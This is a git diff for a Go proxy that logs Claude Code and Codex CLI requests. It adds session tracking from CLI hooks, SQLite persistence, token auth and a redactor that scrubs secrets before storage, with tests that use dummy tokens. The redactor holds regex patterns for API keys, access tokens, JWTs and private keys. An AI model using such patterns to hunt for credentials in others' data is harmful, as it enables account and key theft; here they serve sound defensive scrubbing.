+		http.Error(w, "read error", http.StatusBadRequest)
+		return
+	}
+
+	var hook HookEvent
+	if err := json.Unmarshal(raw, &hook); err != nil {
+		// Malformed payload: acknowledge so the CLI is never blocked, but record nothing.
+		writeJSON(w, http.StatusOK, map[string]bool{"continue": true})
+		return
+	}
+
+	if hook.SessionID == "" {
+		writeJSON(w, http.StatusOK, map[string]bool{"continue": true})
+		return
+	}
+
+	m.ingest(&hook, raw, time.Now())
+	writeJSON(w, http.StatusOK, map[string]bool{"continue": true})
+}
+
+func (m *SessionManager) ingest(hook *HookEvent, raw []byte, t time.Time) {
+	eventType := normalizeHookType(hook.HookEventName)
+
+	// Structured command/outcome enrichment for command-bearing tools (Bash, etc.).
+	rawCommand := hookCommand(hook)
+	var cmdInfo CommandInfo
+	if rawCommand != "" {
+		cmdInfo = ClassifyCommand(rawCommand)
+	}
+	exitCode, success := extractToolOutcome(hook.ToolResponse)
+	// A PostToolUse that reports failure becomes a distinct timeline event.
+	if eventType == "tool.result" && success != nil && !*success {
+		eventType = "tool.failure"
+	}
+
+	// Detect the repo package manager from lockfiles at session start (file I/O outside lock).
+	var repoPM string
+	if eventType == "session.start" {
+		repoPM = detectRepoPackageManager(hook.CWD)
+	}
+
+	// Feed the correlator outside the DB lock (it has its own).
+	switch hook.HookEventName {
+	case "SessionStart":
+		m.corr.OnSessionStart(hook.SessionID, hook.CWD, t)
+	case "UserPromptSubmit":
+		m.corr.OnPrompt(hook.SessionID, hook.Prompt, t)
+	case "SessionEnd":
+		m.corr.OnSessionEnd(hook.SessionID, t)
+	default:
+		m.corr.Touch(hook.SessionID, t)
+	}
+
+	redactedPayload, _ := m.redactor.Redact(raw)
+
+	m.mu.Lock()
+	sess, err := m.repo.GetSession(hook.SessionID)
+	if err != nil {
+		log.Printf("hook: get session: %v", err)
+	}
+	isNew := sess == nil
+	if isNew {
+		sess = &Session{
+			ID:        hook.SessionID,
+			Provider:  ProviderAnthropic,
+			CLI:       "claude-code",
+			StartedAt: t,
+			Status:    "active",
+		}
+	}
+	applyHookToSession(sess, hook, eventType, t)
+	if repoPM != "" {
+		sess.PackageManager = repoPM
+	}
+	// Derived prompt/summary text can echo user-pasted secrets; redact before it is persisted
+	// or broadcast (the raw payload above is already redacted).
+	sess.FirstPrompt, _ = m.redactor.RedactString(sess.FirstPrompt)
+	if err := m.repo.UpsertSession(sess); err != nil {
+		log.Printf("hook: upsert session: %v", err)
+	}
+
+	summary, _ := m.redactor.RedactString(hookSummary(hook, eventType))
+	redactedCommand, _ := m.redactor.RedactString(rawCommand)
+	evt := &SessionEvent{
+		ID:              uuid.NewString(),
+		SessionID:       hook.SessionID,
+		Seq:             t.UnixNano(),
+		Type:            eventType,
+		HookEvent:       hook.HookEventName,
+		ToolName:        hook.ToolName,
+		ToolUseID:       hook.ToolUseID,
+		PromptID:        hook.PromptID,
+		FilePath:        hookFilePath(hook),
+		Summary:         summary,
+		Command:         redactedCommand,
+		CommandCategory: cmdInfo.Category,
+		PackageManager:  cmdInfo.PackageManager,
+		ExitCode:        exitCode,
+		Success:         success,
+		Payload:         json.RawMessage(redactedPayload),
+		Timestamp:       t,
+	}
+	if err := m.repo.AppendSessionEvent(evt); err != nil {
+		log.Printf("hook: append event: %v", err)
+	}
+	sessCopy := *sess
+	m.mu.Unlock()
+
+	if isNew {
+		m.hub.Broadcast(WSMessage{Type: "SESSION_START", Session: &sessCopy})
+	} else {
+		m.hub.Broadcast(WSMessage{Type: "SESSION_UPDATE", Session: &sessCopy})
+	}
+	m.hub.Broadcast(WSMessage{Type: "SESSION_EVENT", SessionEvent: evt})
+}
+
+// OnRequestStart bumps the request counter for a correlated session.
+func (m *SessionManager) OnRequestStart(sessionID string, t time.Time) {
+	if sessionID == "" {
+		return
+	}
+	m.mu.Lock()
+	sess, _ := m.repo.GetSession(sessionID)
+	if sess == nil {
+		m.mu.Unlock()
+		return
+	}
+	sess.RequestCount++
+	if t.After(sess.LastActivityAt) {
+		sess.LastActivityAt = t
+	}
+	_ = m.repo.UpsertSession(sess)
+	sessCopy := *sess
+	m.mu.Unlock()
+	m.hub.Broadcast(WSMessage{Type: "SESSION_UPDATE", Session: &sessCopy})
+}
+
+// OnRequestComplete folds a completed request's token usage and model into its session.
+func (m *SessionManager) OnRequestComplete(sessionID string, rec *RequestRecord, t time.Time) {
+	if sessionID == "" {
+		return
+	}
+	m.mu.Lock()
+	sess, _ := m.repo.GetSession(sessionID)
+	if sess == nil {
+		m.mu.Unlock()
+		return
+	}
+	sess.InputTokens += rec.InputTokens
+	sess.OutputTokens += rec.OutputTokens
+	if rec.Model != "" {
+		sess.Model = rec.Model
+	}
+	if t.After(sess.LastActivityAt) {
+		sess.LastActivityAt = t
+	}
+	_ = m.repo.UpsertSession(sess)
+	sessCopy := *sess
+	m.mu.Unlock()
+	m.hub.Broadcast(WSMessage{Type: "SESSION_UPDATE", Session: &sessCopy})
+}
+
+// applyHookToSession mutates a session in place from a hook payload.
+func applyHookToSession(s *Session, hook *HookEvent, eventType string, t time.Time) {
+	if hook.CWD != "" {
+		s.CWD = hook.CWD
+	}
+	if hook.TranscriptPath != "" {
+		s.TranscriptPath = hook.TranscriptPath
+	}
+	if hook.Model != "" {
+		s.Model = hook.Model
+	}
+	if hook.PermissionMode != "" {
+		s.PermissionMode = hook.PermissionMode
+	}
+	if t.After(s.LastActivityAt) {
+		s.LastActivityAt = t
+	}
+	switch eventType {
+	case "session.start":
+		s.Status = "active"
+		s.EndedAt = nil
+	case "prompt.submit":
+		if s.FirstPrompt == "" {
+			s.FirstPrompt = truncate(hook.Prompt, 280)
+		}
+	case "session.end":
+		ended := t
+		s.EndedAt = &ended
+		s.Status = "ended"
+		if hook.Reason != "" {
+			s.Outcome = hook.Reason
+		}
+	}
+}
+
+// normalizeHookType maps a Claude Code hook event name to a stable timeline type.
+func normalizeHookType(name string) string {
+	switch name {
+	case "SessionStart":
+		return "session.start"
+	case "SessionEnd":
+		return "session.end"
+	case "UserPromptSubmit":
+		return "prompt.submit"
+	case "PreToolUse":
+		return "tool.call"
+	case "PostToolUse":
+		return "tool.result"
+	case "PostToolUseFailure":
+		return "tool.failure"
+	case "FileChanged":
+		return "file.change"
+	case "Notification":
+		return "notification"
+	case "Stop":
+		return "stop"
+	case "SubagentStop":
+		return "subagent.stop"
+	case "PreCompact":
+		return "precompact"
+	case "":
+		return "hook"
+	default:
+		return "hook." + strings.ToLower(name)
+	}
+}
+
+func hookSummary(hook *HookEvent, eventType string) string {
+	switch eventType {
+	case "session.start":
+		if hook.CWD != "" {
+			return "Session started in " + hook.CWD
+		}
+		return "Session started"
+	case "session.end":
+		if hook.Reason != "" {
+			return "Session ended: " + hook.Reason
+		}
+		return "Session ended"
+	case "prompt.submit":
+		return truncate(hook.Prompt, 280)
+	case "tool.call", "tool.result", "tool.failure":
+		if fp := hookFilePath(hook); fp != "" {
+			return hook.ToolName + " " + fp
+		}
+		return hook.ToolName
+	case "file.change":
+		return hookFilePath(hook)
+	default:
+		return hook.ToolName
+	}
+}
+
+// hookCommand best-effort extracts a shell command string from the tool input JSON.
+func hookCommand(hook *HookEvent) string {
+	if len(hook.ToolInput) == 0 {
+		return ""
+	}
+	var in struct {
+		Command string `json:"command"`
+	}
+	if json.Unmarshal(hook.ToolInput, &in) != nil {
+		return ""
+	}
+	return in.Command
+}
+
+// hookFilePath best-effort extracts a file_path from the tool input JSON.
+func hookFilePath(hook *HookEvent) string {
+	if len(hook.ToolInput) == 0 {
+		return ""
+	}
+	var in struct {
+		FilePath string `json:"file_path"`
+		Path     string `json:"path"`
+		Notebook string `json:"notebook_path"`
+	}
+	if json.Unmarshal(hook.ToolInput, &in) != nil {
+		return ""
+	}
+	switch {
+	case in.FilePath != "":
+		return in.FilePath
+	case in.Path != "":
+		return in.Path
+	case in.Notebook != "":
+		return in.Notebook
+	}
+	return ""
+}
+
+func truncate(s string, n int) string {
+	s = strings.TrimSpace(s)
+	if len(s) <= n {
+		return s
+	}
+	return s[:n] + "…"
+}
+
+func writeJSON(w http.ResponseWriter, status int, v interface{}) {
+	w.Header().Set("Content-Type", "application/json")
+	w.WriteHeader(status)
+	_ = json.NewEncoder(w).Encode(v)
+}
diff --git a/proxy/hooks_test.go b/proxy/hooks_test.go
new file mode 100644
index 0000000..9deabcd
--- /dev/null
+++ b/proxy/hooks_test.go
@@ -0,0 +1,183 @@
+package main
+
+import (
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"path/filepath"
+	"strings"
+	"testing"
+	"time"
+)
+
+func newTestManager(t *testing.T) (*SessionManager, Repository) {
+	t.Helper()
+	repo, err := NewSQLiteRepository(filepath.Join(t.TempDir(), "test.db"))
+	if err != nil {
+		t.Fatalf("open repo: %v", err)
+	}
+	t.Cleanup(func() { repo.Close() })
+	hub := NewWSHub(NewRequestStore(10), repo, "")
+	return NewSessionManager(repo, NewCorrelator(), hub, NewRedactor()), repo
+}
+
+func postHook(t *testing.T, m *SessionManager, payload map[string]interface{}) {
+	t.Helper()
+	b, _ := json.Marshal(payload)
+	req := httptest.NewRequest(http.MethodPost, "/events/claude-code", strings.NewReader(string(b)))
+	rr := httptest.NewRecorder()
+	m.HandleHook(rr, req)
+	if rr.Code != http.StatusOK {
+		t.Fatalf("hook returned %d", rr.Code)
+	}
+}
+
+func TestHookCreatesAndUpdatesSession(t *testing.T) {
+	m, repo := newTestManager(t)
+
+	postHook(t, m, map[string]interface{}{
+		"session_id":      "s1",
+		"hook_event_name": "SessionStart",
+		"cwd":             "/work/repo",
+		"transcript_path": "/tmp/t.jsonl",
+		"source":          "startup",
+	})
+	postHook(t, m, map[string]interface{}{
+		"session_id":      "s1",
+		"hook_event_name": "UserPromptSubmit",
+		"prompt":          "fix the failing billing webhook test",
+	})
+	postHook(t, m, map[string]interface{}{
+		"session_id":      "s1",
+		"hook_event_name": "PreToolUse",
+		"tool_name":       "Edit",
+		"tool_input":      json.RawMessage(`{"file_path":"billing/webhook.ts"}`),
+	})
+
+	sess, err := repo.GetSession("s1")
+	if err != nil || sess == nil {
+		t.Fatalf("session not found: %v", err)
+	}
+	if sess.CWD != "/work/repo" {
+		t.Errorf("cwd = %q", sess.CWD)
+	}
+	if sess.FirstPrompt == "" {
+		t.Errorf("first prompt not captured")
+	}
+	if sess.Status != "active" {
+		t.Errorf("status = %q want active", sess.Status)
+	}
+
+	events, err := repo.ListSessionEvents("s1")
+	if err != nil {
+		t.Fatalf("list events: %v", err)
+	}
+	if len(events) != 3 {
+		t.Fatalf("expected 3 events, got %d", len(events))
+	}
+	if events[0].Type != "session.start" || events[2].Type != "tool.call" {
+		t.Errorf("unexpected event ordering: %s ... %s", events[0].Type, events[2].Type)
+	}
+	if events[2].FilePath != "billing/webhook.ts" {
+		t.Errorf("tool file path = %q", events[2].FilePath)
+	}
+}
+
+func TestHookSessionEndClosesSession(t *testing.T) {
+	m, repo := newTestManager(t)
+	postHook(t, m, map[string]interface{}{"session_id": "s2", "hook_event_name": "SessionStart"})
+	postHook(t, m, map[string]interface{}{"session_id": "s2", "hook_event_name": "SessionEnd", "reason": "clear"})
+
+	sess, _ := repo.GetSession("s2")
+	if sess == nil || sess.Status != "ended" || sess.EndedAt == nil {
+		t.Fatalf("session not ended: %+v", sess)
+	}
+}
+
+func TestHookRedactsPayload(t *testing.T) {
+	m, repo := newTestManager(t)
+	postHook(t, m, map[string]interface{}{
+		"session_id":      "s3",
+		"hook_event_name": "PostToolUse",
+		"tool_name":       "Bash",
+		"tool_response":   json.RawMessage(`{"stdout":"export TOKEN=ghp_abcdefghijklmnopqrstuvwxyz0123456789"}`),
+	})
+	events, _ := repo.ListSessionEvents("s3")
+	if len(events) != 1 {
+		t.Fatalf("expected 1 event, got %d", len(events))
+	}
+	if strings.Contains(string(events[0].Payload), "ghp_abcdefghijklmnopqrstuvwxyz") {
+		t.Fatalf("github token leaked into stored payload: %s", events[0].Payload)
+	}
+}
+
+func TestCorrelationThroughHookThenRequest(t *testing.T) {
+	m, _ := newTestManager(t)
+	postHook(t, m, map[string]interface{}{"session_id": "sc", "hook_event_name": "SessionStart", "cwd": "/r"})
+	postHook(t, m, map[string]interface{}{"session_id": "sc", "hook_event_name": "UserPromptSubmit", "prompt": "add pagination to the users endpoint"})
+
+	body := `{"messages":[{"role":"user","content":"add pagination to the users endpoint"}]}`
+	got := m.corr.Correlate([]byte(body), time.Now())
+	if got != "sc" {
+		t.Fatalf("correlate after hook: got %q want sc", got)
+	}
+}
+
+func TestAPIListAndTimeline(t *testing.T) {
+	m, repo := newTestManager(t)
+	postHook(t, m, map[string]interface{}{"session_id": "sa", "hook_event_name": "SessionStart"})
+	postHook(t, m, map[string]interface{}{"session_id": "sa", "hook_event_name": "UserPromptSubmit", "prompt": "do the thing now please"})
+
+	api := NewAPIHandler(repo, "")
+	mux := http.NewServeMux()
+	api.Register(mux)
+
+	// list
+	rr := httptest.NewRecorder()
+	mux.ServeHTTP(rr, httptest.NewRequest(http.MethodGet, "/sessions", nil))
+	if rr.Code != 200 {
+		t.Fatalf("/sessions code %d", rr.Code)
+	}
+	var sessions []Session
+	if err := json.Unmarshal(rr.Body.Bytes(), &sessions); err != nil {
+		t.Fatalf("decode sessions: %v", err)
+	}
+	if len(sessions) != 1 || sessions[0].ID != "sa" {
+		t.Fatalf("unexpected sessions: %+v", sessions)
+	}
+
+	// timeline
+	rr = httptest.NewRecorder()
+	mux.ServeHTTP(rr, httptest.NewRequest(http.MethodGet, "/sessions/sa/timeline", nil))
+	if rr.Code != 200 {
+		t.Fatalf("timeline code %d", rr.Code)
+	}
+	var tl []TimelineEvent
+	if err := json.Unmarshal(rr.Body.Bytes(), &tl); err != nil {
+		t.Fatalf("decode timeline: %v", err)
+	}
+	if len(tl) != 2 {
+		t.Fatalf("expected 2 timeline events, got %d", len(tl))
+	}
+}
+
+func TestAPIAuthRejectsWithoutToken(t *testing.T) {
+	_, repo := newTestManager(t)
+	api := NewAPIHandler(repo, "secret")
+	mux := http.NewServeMux()
+	api.Register(mux)
+
+	rr := httptest.NewRecorder()
+	mux.ServeHTTP(rr, httptest.NewRequest(http.MethodGet, "/sessions", nil))
+	if rr.Code != http.StatusUnauthorized {
+		t.Fatalf("expected 401 without token, got %d", rr.Code)
+	}
+
+	rr = httptest.NewRecorder()
+	req := httptest.NewRequest(http.MethodGet, "/sessions", nil)
+	req.Header.Set("Authorization", "Bearer secret")
+	mux.ServeHTTP(rr, req)
+	if rr.Code != http.StatusOK {
+		t.Fatalf("expected 200 with token, got %d", rr.Code)
+	}
+}
diff --git a/proxy/main.go b/proxy/main.go
index d340599..72916ca 100644
--- a/proxy/main.go
+++ b/proxy/main.go
@@ -6,41 +6,80 @@ import (
 )
 
 func main() {
+	cfg := LoadConfig()
+
 	log.Println("Starting Claude Code Proxy...")
 	log.Println("Supported providers: Anthropic (Claude), OpenAI (Codex)")
 
-	// Initialize store and WebSocket hub
-	store := NewRequestStore(1000)
-	wsHub := NewWSHub(store)
+	// Durable storage. If the database can't be opened, degrade to a persistence-disabled
+	// proxy rather than killing request forwarding.
+	var repo Repository
+	if sqliteRepo, err := NewSQLiteRepository(cfg.DBPath); err != nil {
+		log.Printf("WARNING: failed to open database at %s: %v", cfg.DBPath, err)
+		log.Printf("Persistence disabled; continuing as a live-only proxy.")
+		repo = NewNoopRepository()
+	} else {
+		repo = sqliteRepo
+		log.Printf("Database: %s", cfg.DBPath)
+	}
+	defer repo.Close()
+
+	// Live in-memory cache + collaborators.
+	store := NewRequestStore(cfg.MaxLiveItems)
+	seedStore(store, repo, cfg.MaxLiveItems)
 
-	// Start WebSocket hub
+	wsHub := NewWSHub(store, repo, cfg.DashboardToken)
 	go wsHub.Run()
 
-	// Create proxy handler
-	proxyHandler := NewProxyHandler(store, wsHub)
+	redactor := NewRedactor()
+	correlator := NewCorrelator()
+	sessions := NewSessionManager(repo, correlator, wsHub, redactor)
 
-	// Start proxy server on :8080
+	proxyHandler := NewProxyHandler(store, wsHub, repo, redactor, correlator, sessions)
+
+	// Proxy server.
 	go func() {
-		log.Println("Proxy server listening on :8080")
+		log.Printf("Proxy server listening on %s", cfg.ProxyAddr)
 		log.Println("  - For Claude Code: export ANTHROPIC_BASE_URL=http://localhost:8080")
 		log.Println("  - For Codex CLI:   export OPENAI_BASE_URL=http://localhost:8080")
-		if err := http.ListenAndServe(":8080", proxyHandler); err != nil {
+		if err := http.ListenAndServe(cfg.ProxyAddr, proxyHandler); err != nil {
 			log.Fatalf("Proxy server error: %v", err)
 		}
 	}()
 
-	// Start WebSocket server on :8081
-	wsMux := http.NewServeMux()
-	wsMux.HandleFunc("/ws", wsHub.HandleConnection)
-
-	// Also serve a simple health check
-	wsMux.HandleFunc("/health", func(w http.ResponseWriter, r *http.Request) {
+	// Control plane: WebSocket + hook ingestion + REST API.
+	mux := http.NewServeMux()
+	mux.HandleFunc("/ws", wsHub.HandleConnection)
+	// Hook ingestion is guarded by the same token when one is configured, so a session can't
+	// be forged by anything that can reach the control-plane port.
+	mux.HandleFunc("/events/claude-code", RequireToken(cfg.DashboardToken, sessions.HandleHook))
+	mux.HandleFunc("/health", func(w http.ResponseWriter, r *http.Request) {
 		w.WriteHeader(http.StatusOK)
 		w.Write([]byte("OK"))
 	})
+	NewAPIHandler(repo, cfg.DashboardToken).Register(mux)
 
-	log.Println("WebSocket server listening on :8081")
-	if err := http.ListenAndServe(":8081", wsMux); err != nil {
-		log.Fatalf("WebSocket server error: %v", err)
+	if cfg.DashboardToken != "" {
+		log.Println("Dashboard token auth: ENABLED")
+	}
+	log.Printf("Control plane listening on %s", cfg.ControlAddr)
+	if err := http.ListenAndServe(cfg.ControlAddr, withCORS(mux)); err != nil {
+		log.Fatalf("Control plane server error: %v", err)
+	}
+}
+
+// seedStore warms the in-memory cache with recent persisted requests so a restart doesn't
+// blank the live dashboard. Oldest-first insertion keeps GetAll newest-first.
+func seedStore(store *RequestStore, repo Repository, limit int) {
+	recent, err := repo.RecentRequests(limit)
+	if err != nil {
+		log.Printf("seed store: %v", err)
+		return
+	}
+	for i := len(recent) - 1; i >= 0; i-- {
+		store.Add(recent[i])
+	}
+	if len(recent) > 0 {
+		log.Printf("Loaded %d recent requests from database", len(recent))
 	}
 }
diff --git a/proxy/proxy.go b/proxy/proxy.go
index 215f7f4..d253000 100644
--- a/proxy/proxy.go
+++ b/proxy/proxy.go
@@ -36,15 +36,23 @@ func mustParseURL(s string) *url.URL {
 
 // ProxyHandler handles the reverse proxy logic
 type ProxyHandler struct {
-	store *RequestStore
-	wsHub *WSHub
+	store    *RequestStore
+	wsHub    *WSHub
+	repo     Repository
+	redactor *Redactor
+	corr     *Correlator
+	sessions *SessionManager
 }
 
 // NewProxyHandler creates a new proxy handler
-func NewProxyHandler(store *RequestStore, wsHub *WSHub) *ProxyHandler {
+func NewProxyHandler(store *RequestStore, wsHub *WSHub, repo Repository, redactor *Redactor, corr *Correlator, sessions *SessionManager) *ProxyHandler {
 	return &ProxyHandler{
-		store: store,
-		wsHub: wsHub,
+		store:    store,
+		wsHub:    wsHub,
+		repo:     repo,
+		redactor: redactor,
+		corr:     corr,
+		sessions: sessions,
 	}
 }
 
@@ -70,42 +78,53 @@ func (h *ProxyHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 	// Detect provider
 	provider := detectProvider(r)
 
-	// Capture request body
-	var body []byte
+	// Capture request body (raw). The raw body is forwarded upstream unchanged; only the
+	// stored copy is redacted.
+	var rawBody []byte
 	if r.Body != nil {
-		body, _ = io.ReadAll(r.Body)
-		r.Body = io.NopCloser(bytes.NewBuffer(body))
+		rawBody, _ = io.ReadAll(r.Body)
+		r.Body = io.NopCloser(bytes.NewBuffer(rawBody))
 	}
 
 	// Extract model from request body
 	var model string
-	var inputTokens int
-	if len(body) > 0 {
+	if len(rawBody) > 0 {
 		var reqBody struct {
 			Model string `json:"model"`
 		}
-		if err := json.Unmarshal(body, &reqBody); err == nil {
+		if err := json.Unmarshal(rawBody, &reqBody); err == nil {
 			model = reqBody.Model
 		}
 	}
 
+	// Correlate to a session using the raw body (prompt text intact), then redact for storage.
+	sessionID := h.corr.Correlate(rawBody, startTime)
+	redactedBody, redactionHits := h.redactor.Redact(rawBody)
+
 	record := &RequestRecord{
-		ID:           requestID,
-		Timestamp:    startTime,
-		Method:       r.Method,
-		Path:         r.URL.Path,
-		Headers:      flattenHeaders(r.Header),
-		Body:         body,
-		StreamEvents: make([]SSEEvent, 0),
-		Model:        model,
-		InputTokens:  inputTokens,
-		Provider:     provider,
+		ID:            requestID,
+		SessionID:     sessionID,
+		Timestamp:     startTime,
+		Method:        r.Method,
+		Path:          r.URL.Path,
+		Headers:       flattenHeaders(r.Header),
+		Body:          redactedBody,
+		StreamEvents:  make([]SSEEvent, 0),
+		Model:         model,
+		Provider:      provider,
+		RedactionHits: redactionHits,
 	}
 	h.store.Add(record)
-	h.wsHub.Broadcast(WSMessage{Type: "REQUEST_START", Request: record})
+	// Snapshot before handing the record to other goroutines (WS marshal / persistence).
+	snap := h.store.Get(record.ID)
+	if err := h.repo.SaveRequest(snap); err != nil {
+		log.Printf("persist request start: %v", err)
+	}
+	h.wsHub.Broadcast(WSMessage{Type: "REQUEST_START", Request: snap})
+	h.sessions.OnRequestStart(sessionID, startTime)
 
 	// Log incoming request (path may be rewritten by Director)
-	log.Printf("→ [%s] %s %s [%s]", provider, r.Method, r.URL.Path, requestID[:8])
+	log.Printf("→ [%s] %s %s [%s] session=%s", provider, r.Method, r.URL.Path, requestID[:8], shortSession(sessionID))
 
 	// Store request ID, start time, and provider in context
 	ctx := context.WithValue(r.Context(), requestIDKey, requestID)
@@ -140,9 +159,12 @@ func (h *ProxyHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 		}
 	}
 	proxy.Transport = &InterceptingTransport{
-		Base:  http.DefaultTransport,
-		Store: h.store,
-		WSHub: h.wsHub,
+		Base:     http.DefaultTransport,
+		Store:    h.store,
+		WSHub:    h.wsHub,
+		Repo:     h.repo,
+		Redactor: h.redactor,
+		Sessions: h.sessions,
 	}
 	proxy.ErrorHandler = func(w http.ResponseWriter, r *http.Request, err error) {
 		log.Printf("Proxy error: %v", err)
@@ -152,6 +174,16 @@ func (h *ProxyHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 	proxy.ServeHTTP(w, r.WithContext(ctx))
 }
 
+func shortSession(id string) string {
+	if id == "" {
+		return "-"
+	}
+	if len(id) > 8 {
+		return id[:8]
+	}
+	return id
+}
+
 func flattenHeaders(h http.Header) map[string]string {
 	result := make(map[string]string)
 	for k, v := range h {
@@ -169,9 +201,12 @@ func flattenHeaders(h http.Header) map[string]string {
 
 // InterceptingTransport wraps http.RoundTripper to intercept responses
 type InterceptingTransport struct {
-	Base  http.RoundTripper
-	Store *RequestStore
-	WSHub *WSHub
+	Base     http.RoundTripper
+	Store    *RequestStore
+	WSHub    *WSHub
+	Repo     Repository
+	Redactor *Redactor
+	Sessions *SessionManager
 }
 
 // RoundTrip intercepts the HTTP response
@@ -201,6 +236,9 @@ func (t *InterceptingTransport) RoundTrip(r *http.Request) (*http.Response, erro
 			startTime: startTime,
 			store:     t.Store,
 			wsHub:     t.WSHub,
+			repo:      t.Repo,
+			redactor:  t.Redactor,
+			sessions:  t.Sessions,
 			buffer:    make([]byte, 0),
 			provider:  provider,
 		}
@@ -220,6 +258,8 @@ func (t *InterceptingTransport) RoundTrip(r *http.Request) (*http.Response, erro
 			extractNonStreamingUsage(body, provider, t.Store, requestID)
 		}
 
+		finalizeRequest(t.Store, t.Repo, t.Sessions, requestID)
+
 		t.WSHub.Broadcast(WSMessage{
 			Type:      "REQUEST_COMPLETE",
 			RequestID: requestID,
@@ -234,6 +274,18 @@ func (t *InterceptingTransport) RoundTrip(r *http.Request) (*http.Response, erro
 	return resp, nil
 }
 
+// finalizeRequest persists the completed record and folds its usage into the session.
+func finalizeRequest(store *RequestStore, repo Repository, sessions *SessionManager, requestID string) {
+	rec := store.Get(requestID)
+	if rec == nil {
+		return
+	}
+	if err := repo.SaveRequest(rec); err != nil {
+		log.Printf("persist request complete: %v", err)
+	}
+	sessions.OnRequestComplete(rec.SessionID, rec, time.Now())
+}
+
 // extractNonStreamingUsage extracts token usage from non-streaming responses
 func extractNonStreamingUsage(body []byte, provider Provider, store *RequestStore, requestID string) {
 	if provider == ProviderOpenAI {
@@ -274,6 +326,9 @@ type streamInterceptorReader struct {
 	startTime time.Time
 	store     *RequestStore
 	wsHub     *WSHub
+	repo      Repository
+	redactor  *Redactor
+	sessions  *SessionManager
 	buffer    []byte
 	provider  Provider
 }
@@ -290,6 +345,7 @@ func (s *streamInterceptorReader) Read(p []byte) (int, error) {
 			rec.Duration = duration
 			rec.IsComplete = true
 		})
+		finalizeRequest(s.store, s.repo, s.sessions, s.requestID)
 		s.wsHub.Broadcast(WSMessage{
 			Type:      "REQUEST_COMPLETE",
 			RequestID: s.requestID,
@@ -326,6 +382,13 @@ func (s *streamInterceptorReader) processEvent(data []byte) {
 		return
 	}
 
+	// Redact secrets from streamed payloads before they are stored or broadcast. Replacements
+	// keep JSON string values valid, so the dashboard reconstruction still parses.
+	if redacted, hits := s.redactor.RedactString(event.Data); hits > 0 {
+		event.Data = redacted
+		s.store.Update(s.requestID, func(r *RequestRecord) { r.RedactionHits += hits })
+	}
+
 	s.store.AppendStreamEvent(s.requestID, event)
 	s.wsHub.Broadcast(WSMessage{
 		Type:      "RESPONSE_CHUNK",
diff --git a/proxy/redact.go b/proxy/redact.go
new file mode 100644
index 0000000..db25c55
--- /dev/null
+++ b/proxy/redact.go
@@ -0,0 +1,59 @@
+package main
+
+import "regexp"
+
+// redactionRule pairs a label with a pattern. Order matters: more specific patterns first.
+type redactionRule struct {
+	label string
+	re    *regexp.Regexp
+}
+
+// redactionRules covers the common secret shapes that show up in request bodies, tool
+// results, command output, and .env excerpts. Replacements preserve surrounding JSON
+// structure (a token substring becomes "[REDACTED:label]"), so payloads stay parseable.
+var redactionRules = []redactionRule{
+	{"pem-private-key", regexp.MustCompile(`(?s)-----BEGIN [A-Z ]*PRIVATE KEY-----.*?-----END [A-Z ]*PRIVATE KEY-----`)},
+	{"anthropic-key", regexp.MustCompile(`sk-ant-[A-Za-z0-9_\-]{20,}`)},
+	{"openai-key", regexp.MustCompile(`sk-(?:proj-)?[A-Za-z0-9_\-]{20,}`)},
+	{"github-token", regexp.MustCompile(`gh[pousr]_[A-Za-z0-9]{20,}`)},
+	{"github-pat", regexp.MustCompile(`github_pat_[A-Za-z0-9_]{20,}`)},
+	{"aws-access-key", regexp.MustCompile(`AKIA[0-9A-Z]{16}`)},
+	{"google-api-key", regexp.MustCompile(`AIza[0-9A-Za-z_\-]{35}`)},
+	{"slack-token", regexp.MustCompile(`xox[baprs]-[A-Za-z0-9\-]{10,}`)},
+	{"jwt", regexp.MustCompile(`eyJ[A-Za-z0-9_\-]{10,}\.[A-Za-z0-9_\-]{10,}\.[A-Za-z0-9_\-]{10,}`)},
+	{"bearer-token", regexp.MustCompile(`(?i)bearer\s+[A-Za-z0-9._\-]{20,}`)},
+}
+
+// Redactor scrubs secrets from byte payloads, reporting how many replacements it made.
+type Redactor struct {
+	rules []redactionRule
+}
+
+// NewRedactor returns a Redactor with the default rule set.
+func NewRedactor() *Redactor {
+	return &Redactor{rules: redactionRules}
+}
+
+// Redact returns a scrubbed copy of b and the number of redactions performed. The input is
+// never mutated. nil/empty input is returned unchanged.
+func (r *Redactor) Redact(b []byte) ([]byte, int) {
+	if len(b) == 0 {
+		return b, 0
+	}
+	out := b
+	hits := 0
+	for _, rule := range r.rules {
+		replacement := []byte("[REDACTED:" + rule.label + "]")
+		out = rule.re.ReplaceAllFunc(out, func(match []byte) []byte {
+			hits++
+			return replacement
+		})
+	}
+	return out, hits
+}
+
+// RedactString is a convenience wrapper for string payloads.
+func (r *Redactor) RedactString(s string) (string, int) {
+	out, hits := r.Redact([]byte(s))
+	return string(out), hits
+}
diff --git a/proxy/redact_test.go b/proxy/redact_test.go
new file mode 100644
index 0000000..54a7c2a
--- /dev/null
+++ b/proxy/redact_test.go
@@ -0,0 +1,67 @@
+package main
+
+import (
+	"encoding/json"
+	"strings"
+	"testing"
+)
+
+func TestRedactorScrubsSecrets(t *testing.T) {
+	r := NewRedactor()
+	cases := []struct {
+		name  string
+		input string
+		label string
+	}{
+		{"anthropic", "key=sk-ant-api03-abcdefghijklmnopqrstuvwxyz0123", "anthropic-key"},
+		{"openai", "OPENAI_API_KEY=sk-abcdefghijklmnopqrstuvwxyz0123", "openai-key"},
+		{"github", "token ghp_abcdefghijklmnopqrstuvwxyz0123456789", "github-token"},
+		{"github-pat", "github_pat_11ABCDEFG0aaaaaaaaaaaaaa", "github-pat"},
+		{"aws", "AKIAIOSFODNN7EXAMPLE here", "aws-access-key"},
+		{"bearer", "Authorization: Bearer abcdefghijklmnopqrstuvwxyz", "bearer-token"},
+	}
+	for _, c := range cases {
+		t.Run(c.name, func(t *testing.T) {
+			out, hits := r.RedactString(c.input)
+			if hits == 0 {
+				t.Fatalf("expected a redaction for %q, got none (out=%q)", c.input, out)
+			}
+			if !strings.Contains(out, "[REDACTED:"+c.label+"]") {
+				t.Fatalf("expected label %s in output, got %q", c.label, out)
+			}
+		})
+	}
+}
+
+func TestRedactorKeepsJSONValid(t *testing.T) {
+	r := NewRedactor()
+	body := `{"messages":[{"role":"user","content":"my key is sk-ant-api03-abcdefghijklmnopqrstuvwxyz0123 ok"}]}`
+	out, hits := r.RedactString(body)
+	if hits == 0 {
+		t.Fatal("expected redaction")
+	}
+	var v map[string]interface{}
+	if err := json.Unmarshal([]byte(out), &v); err != nil {
